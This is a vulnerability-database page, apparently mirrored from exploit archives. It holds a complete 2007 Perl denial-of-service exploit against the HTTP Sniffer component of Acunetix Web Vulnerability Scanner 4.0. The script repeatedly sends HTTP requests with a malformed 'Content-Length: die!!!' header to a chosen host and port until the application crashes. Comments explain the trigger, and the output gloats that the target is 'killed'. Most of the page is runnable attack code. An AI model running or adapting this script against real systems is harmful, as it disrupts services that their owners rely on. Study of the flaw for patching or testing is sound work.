Lucene search
K

Acunetix WVS <= 4.0 20060717 HTTP Sniffer Component Remote DoS

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Acunetix WVS 4.0 20060717 HTTP Sniffer Component Remote Do

Code

                                                #!/usr/bin/perl -w
#
# Acunetix Web Vulnerability Scanner 4.0 &#60;= Build 20060717
# HTTP Sniffer component
# Remote Denial of Service
#
# Explaination:
# I found a DoS in Acunetix WVS doing a little bit of fuzzing.
# The flaw is triggered when a malformed packet is sent. Thus, an Exception Handler shows
# an Error Window saying: &#34;&#39;die!!!&#39; is not a valid integer value&#34;, but, if we sent the
# same packet again (while that message still visible) the application will crash.
#
# The malformed HTTP packet contains an invalid &#39;Content-Length&#39; field (string), and it
# must be a positive integer.
#
# Acunetix&#39; support: &#34;The bug which was causing it to crash was also related to another
# bug fix which was implemented in later versions.&#34;. So, in latest version, an Error
# message like this appears:
#  ________________________________________________________
# |wvs.exe                                                 |
# |--------------------------------------------------------|
# |[X] An error ocurred in the application                 |
# |                                  |continue application||
# |                                  |restart application ||
# ||send bug report||show bug report||close applicacion   ||
# |________________________________________________________|
#
# Affected version tested:
# Acunetix WVS (Consultant Edition) 4.0 Build 20060717
#
# Non-affected version tested:
# Acunetix WVS 4.0 Build 20060717
#
# nitr0us &#60;nitrousenador[ at ]gmail[ dot]com&#62;
# 01/01/07 . . . Happy new year.

use strict;
use Socket qw( :DEFAULT :crlf );        # $CRLF
use IO::Socket;

sub header
{
       print &#34;################################################################\n&#34;;
       print &#34;#   Acunetix Web Vulnerability Scanner 4.0 &#60;= Build 20060717   #\n&#34;;
       print &#34;#                  HTTP Sniffer component                      #\n&#34;;
       print &#34;#                 Remote Denial of Service                     #\n&#34;;
       print &#34;#                        by nitr0us                            #\n&#34;;
       print &#34;################################################################\n\n&#34;;
       print &#34;Usage: $0 &#60;host&#62; [port(default 8080)]\n&#34;;
       exit(0xdead);
}

header() unless $ARGV[0];

my $port = 8080;
my $acunetix_wvs;
my $packetz = 5;

if($ARGV[1]){
       $port = $ARGV[1];
}

print &#34;\n[+] Connecting and sending $packetz malformed packetz\n\n&#34;;

for(my $foo = 0; $foo &#60; $packetz; $foo++){
       $acunetix_wvs = IO::Socket::INET-&#62;new(  PeerAddr        =&#62;      $ARGV[0],
                                               PeerPort        =&#62;      $port,
                                               Proto           =&#62;      &#39;tcp&#39;)
               or die &#34;Could not create socket: $!\n&#34;;

       print $acunetix_wvs &#34;GET / HTTP/1.0$CRLF&#34;;
       print $acunetix_wvs &#34;Content-Length: die!!!$CRLF$CRLF&#34;; # Trigger

       $acunetix_wvs-&#62;close();

       sleep(1);
}

print &#34;[+] $packetz malformed packetz sent ];D\n\n&#34;;
print &#34;[+] Acunetix WVS! killed ! ;)\n\n&#34;;

# milw0rm.com [2007-01-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14